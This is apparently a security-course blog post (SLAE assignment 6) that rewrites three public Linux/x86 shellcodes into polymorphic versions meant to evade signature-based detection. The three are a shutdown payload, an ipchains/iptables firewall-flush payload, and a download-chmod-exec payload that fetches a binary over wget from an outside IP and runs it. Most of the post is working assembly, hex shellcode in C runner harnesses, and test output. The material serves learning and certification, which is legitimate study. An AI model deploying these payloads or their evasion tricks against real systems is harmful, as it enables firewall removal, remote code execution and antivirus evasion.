SLAE 6: Creating polymorphic shellcode
Programming / January 26, 2020 • 8 min read
Tags: slae shellcoding
The goal of this article is to create polymorphic verions of three different shellcodes from http://shell-storm.org. Polymorphic shellcode has the ability to mutate its code everytime it runs. The instructions changes while algorithm stays intact. The purpose is to evade signature based detections without manually change the shellcode.
We won’t be creating our own polymorphic engine in this article, instead we will manually modify these three shellcodes from shell-storm.org:
- Linux/x86 - shutdown -h now Shellcode - 56 bytes
- Linux/x86 - 40 byte shellcode to flush ipchains for Linux x86
- Linux/x86 - Download + chmod + exec - 108 bytes
We are not allowed to increase the size more than 50%.
Shellcode 1: shutdown -h now - 56 bytes
The following program will shutdown your computer immediately when run:
1/*
2; Title: shutdown -h now Shellcode - 56 bytes
3; Date: 2014-06-27
4; Platform: linux/x86
5; Author: Osanda Malith Jayathissa (@OsandaMalith)
6
7Disassembly of section .text:
8
908048060 <_start>:
108048060: 31 c0 xor eax,eax
118048062: 31 d2 xor edx,edx
128048064: 50 push eax
138048065: 66 68 2d 68 pushw 0x682d
148048069: 89 e7 mov edi,esp
15804806b: 50 push eax
16804806c: 6a 6e push 0x6e
17804806e: 66 c7 44 24 01 6f 77 mov WORD PTR [esp+0x1],0x776f
188048075: 89 e7 mov edi,esp
198048077: 50 push eax
208048078: 68 64 6f 77 6e push 0x6e776f64
21804807d: 68 73 68 75 74 push 0x74756873
228048082: 68 6e 2f 2f 2f push 0x2f2f2f6e
238048087: 68 2f 73 62 69 push 0x6962732f
24804808c: 89 e3 mov ebx,esp
25804808e: 52 push edx
26804808f: 56 push esi
278048090: 57 push edi
288048091: 53 push ebx
298048092: 89 e1 mov ecx,esp
308048094: b0 0b mov al,0xb
318048096: cd 80 int 0x80
32
33*/
34
35#include <stdio.h>
36#include <string.h>
37
38unsigned char code[] = "\x31\xc0\x31\xd2\x50\x66\x68\x2d"
39"\x68\x89\xe7\x50\x6a\x6e\x66\xc7"
40"\x44\x24\x01\x6f\x77\x89\xe7\x50"
41"\x68\x64\x6f\x77\x6e\x68\x73\x68"
42"\x75\x74\x68\x6e\x2f\x2f\x2f\x68"
43"\x2f\x73\x62\x69\x89\xe3\x52\x56"
44"\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
45
46int
47main() {
48
49printf("Shellcode Length: %d\n", (int)strlen(code));
50int (*ret)() = (int(*)())code;
51ret();
52
53return 0;
54}
I extracted the assembly code and modified it manually. The comments prefixed with [M]
indicates that the instruction has been modified.
1global _start
2
3section .text
4
5_start:
6
7 xor ecx,ecx ; [M] clear ecx
8 mul ecx ; [M] clear both eax and edx
9 push edx ; [M] push edx instead of eax
10 push word 0x682d ; -h option
11 mov edi,esp ; save stack pointer to edi
12 push eax ; push null
13 push byte 0x6e ; "n" character
14 mov byte [esp+1], 0x6f ; [M] "o" character
15 mov byte [esp+2], 0x77 ; [M] "w" character
16 mov edi,esp ; save stack pointer to edi
17 push eax ; push null
18 push 0x6e776f64 ; these four push instructions correspond to /sbin///shutdown
19 push 0x74756873
20 push 0x2f2f2f6e
21 push 0x6962732f
22 mov ebx,esp ; save stack pointer to ebx
23 push edx ; push null
24 push esi
25 push edi ; points to "-h now"
26 push ebx ; points to /sbin///shutdown
27 mov ecx,esp ; save stack pointer to ecx
28 mov al,0xc-1 ; [M] 0xc - 1 = 0xb which is execve() syscall
29 int 0x80 ; Execute syscall
Running the modified version returns:
dubs3c@slae:~/SLAE/EXAM/github/assignment_6$ ./shellcode
Shellcode length: 59
shutdown: Need to be root
Nice! We only added 3 extra bytes. Running the program as root
shuts down the computer.
Shellcode 2: 40 byte shellcode to flush ipchains for Linux x86
The purpose of the next shellcode is to delete all ipchains entries. So any firewall rules set in place will be wiped out.
1/* By Kris Katterjohn 11/18/2006
2 *
3 * 40 byte shellcode to flush ipchains for Linux x86
4 *
5 *
6 *
7 * section .text
8 *
9 * global _start
10 *
11 * _start:
12 *
13 * ; execve("/sbin/ipchains", { "/sbin/ipchains", "-F", NULL }, NULL)
14 *
15 * push byte 11
16 * pop eax
17 * cdq
18 * push edx
19 * push word 0x462d
20 * mov ecx, esp
21 * push edx
22 * push word 0x736e
23 * push 0x69616863
24 * push 0x70692f6e
25 * push 0x6962732f
26 * mov ebx, esp
27 * push edx
28 * push ecx
29 * push ebx
30 * mov ecx, esp
31 * int 0x80
32 */
33
34main()
35{
36 char shellcode[] =
37 "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x46\x89"
38 "\xe1\x52\x66\x68\x6e\x73\x68\x63\x68\x61"
39 "\x69\x68\x6e\x2f\x69\x70\x68\x2f\x73\x62"
40 "\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
41
42 (*(void (*)()) shellcode)();
43}
Because I don’t have the command ipchains
on my system, I cheated a little bit and created the following script in /sbin/ipchains
:
1#!/bin/bash
2
3/sbin/iptables "$@"
The modified shellcode can be seen below. Comments starting with [M]
indicates that the instruction has been modified.
1section .text
2
3global _start
4
5_start:
6 xor ecx, ecx ; [M] zero out ecx
7 mul ecx ; [M] zero out edx and eax
8 push byte 10 ; [M]
9 pop eax ; eax = 10
10 push ecx ; push ecx instead of edx
11 push 0x2d ; [M] "-" char
12 mov byte [esp+1], 0x46 ; [M] "F" char
13 mov ecx, esp ; save current stack pointer to ecx
14 push edx ; push null
15 push word 0x736e ; following 4 push instructions form /sbin/ipchains
16 push 0x69616863
17 push 0x70692f6e
18 push 0x6962732f
19 push 0xdeadbeef ; [M] add some nonsese
20 pop edi ; [M]
21 mov ebx, esp ; save currrent stack pointer to ebx
22 push edx ; push null
23 push ecx ; points to "-F"
24 push ebx ; points to /sbin/ipchains
25 xor ecx, ecx ; [M] add some nonsense
26 mov edi, esp ; [M] add some nonsense
27 xchg ecx, edi ; [M] save current stack pointer to ecx
28 inc eax ; [M] syscall 11: execve()
29 int 0x80 ; execute syscall
The output below shows how the shellcode deletes a DROP
rule from iptables:
dubs3c@slae:~/SLAE/EXAM/github/assignment_6$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP all -- 192.168.1.254 anywhere
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
dubs3c@slae:~/SLAE/EXAM/github/assignment_6$ sudo ./shellcode
Shellcode length: 57
dubs3c@slae:~/SLAE/EXAM/github/assignment_6$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
The modified shellcode increased with 17 bytes which is a 42% increase.
Shellcode 3: Download + chmod + exec - 108 bytes
The next and final shellcode is a little bit bigger than the previous samples. Let’s begin modifying it!
1/*
2; Filename: downloadexec.nasm
3; Author: Daniel Sauder
4; Website: http://govolution.wordpress.com/
5; Tested on: Ubuntu 12.04 / 32Bit
6; License: http://creativecommons.org/licenses/by-sa/3.0/
7
8; Shellcode:
9; - download 192.168.2.222/x with wget
10; - chmod x
11; - execute x
12; - x is an executable
13; - length 108 bytes
14
15global _start
16
17section .text
18
19_start:
20
21 ;fork
22 xor eax,eax
23 mov al,0x2
24 int 0x80
25 xor ebx,ebx
26 cmp eax,ebx
27 jz child
28
29 ;wait(NULL)
30 xor eax,eax
31 mov al,0x7
32 int 0x80
33
34 ;chmod x
35 xor ecx,ecx
36 xor eax, eax
37 push eax
38 mov al, 0xf
39 push 0x78
40 mov ebx, esp
41 xor ecx, ecx
42 mov cx, 0x1ff
43 int 0x80
44
45 ;exec x
46 xor eax, eax
47 push eax
48 push 0x78
49 mov ebx, esp
50 push eax
51 mov edx, esp
52 push ebx
53 mov ecx, esp
54 mov al, 11
55 int 0x80
56
57child:
58 ;download 192.168.2.222//x with wget
59 push 0xb
60 pop eax
61 cdq
62 push edx
63
64 push 0x782f2f32 ;2//x avoid null byte
65 push 0x32322e32 ;22.2
66 push 0x2e383631 ;.861
67 push 0x2e323931 ;.291
68 mov ecx,esp
69 push edx
70
71 push 0x74 ;t
72 push 0x6567772f ;egw/
73 push 0x6e69622f ;nib/
74 push 0x7273752f ;rsu/
75 mov ebx,esp
76 push edx
77 push ecx
78 push ebx
79 mov ecx,esp
80 int 0x80
81
82*/
83
84#include <stdio.h>
85#include <string.h>
86
87unsigned char code[] = \
88"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x2a\x31\xc0\xb0\x07\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f\x6a\x78\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50\x6a\x78\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x0b\x58\x99\x52\x68\x32\x2f\x2f\x78\x68\x32\x2e\x32\x32\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
89
90main()
91{
92 printf("Shellcode Length: %d\n", strlen(code));
93 int (*ret)() = (int(*)())code;
94 ret();
95}
Let’s go!
1global _start
2
3section .text
4
5_start:
6
7 ;fork
8 xor ecx,ecx ; [M] zero ecx instead of eax
9 mul ecx ; [M] set eax and edx to zero
10 mov al, 0x1 ; [M]
11 inc al ; [M] fork syscall
12 int 0x80 ; execute syscall
13 mov ebx,edx ; [M] mov edx into ebx instead of xor ebx,ebx
14 cmp eax,ebx
15 jz child
16
17 ;wait(NULL)
18 xor eax,eax
19 mov al,0x8 ; [M]
20 dec al ; [M] waitpid syscall
21 int 0x80 ; execute syscall
22
23 ;chmod x
24 ;xor ecx,ecx ; this can be removed
25 xor eax, eax ; zero out eax
26 push edx ; [M] push edx instead of eax, null byte
27 mov al, 0xf ; chmod syscall
28 push 0x78 ; "x" character
29 mov ebx, esp ; set current stack pointer to ebx
30 mov ecx, edx ; [M] mov ecx,edx instead of xor ecx,ecx
31 mov cx, 0x1ff ; set chmod mode to 511
32 int 0x80 ; execute syscall
33
34 ;exec x
35 ;xor eax, eax ; this can be removed
36 push edx ; [M] push edx instead of eax
37 push 0x78 ; "x" character
38 mov ebx, esp ; set current stack pointer to ebx
39 push edx ; [M] push edx instead of eax
40 mov edx, esp ; set current stack pointer to edx
41 push ebx
42 mov ecx, esp
43 mov al, 0xa ; [M]
44 inc al ; [M] 0xb is execve syscall
45 int 0x80 ; execute syscall
46
47child:
48 ;download 192.168.1.20/x with wget
49 xor ecx, ecx ; [M]
50 mul ecx ; [M]
51 mov al, 0xb ; [M] execve syscall
52 push edx
53
54 push word 0x782f ; [M] /x avoid null byte
55 push 0x30322e31 ; [M] 20.1
56 push 0x2e383631 ; .861
57 push 0x2e323931 ; .291
58 mov ecx,esp
59 push edx
60
61 push 0x74 ;t
62 push 0x6567772f ;egw/
63 push 0x6e69622f ;nib/
64 push 0x7273752f ;rsu/
65 mov ebx,esp
66 push edx
67 push ecx
68 push ebx
69 mov ecx,esp
70 int 0x80 ; execute syscall
We added 5 bytes and removed 2 lines from the original shellcode. This results in a total of 113 bytes for the modified shellcode. That’s a 4% increase :) The image below shows how the program downloads a file and executes it.
That’s it, stay tuned for the next and final article in my SLAE series.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=3
Student ID: SLAE-1490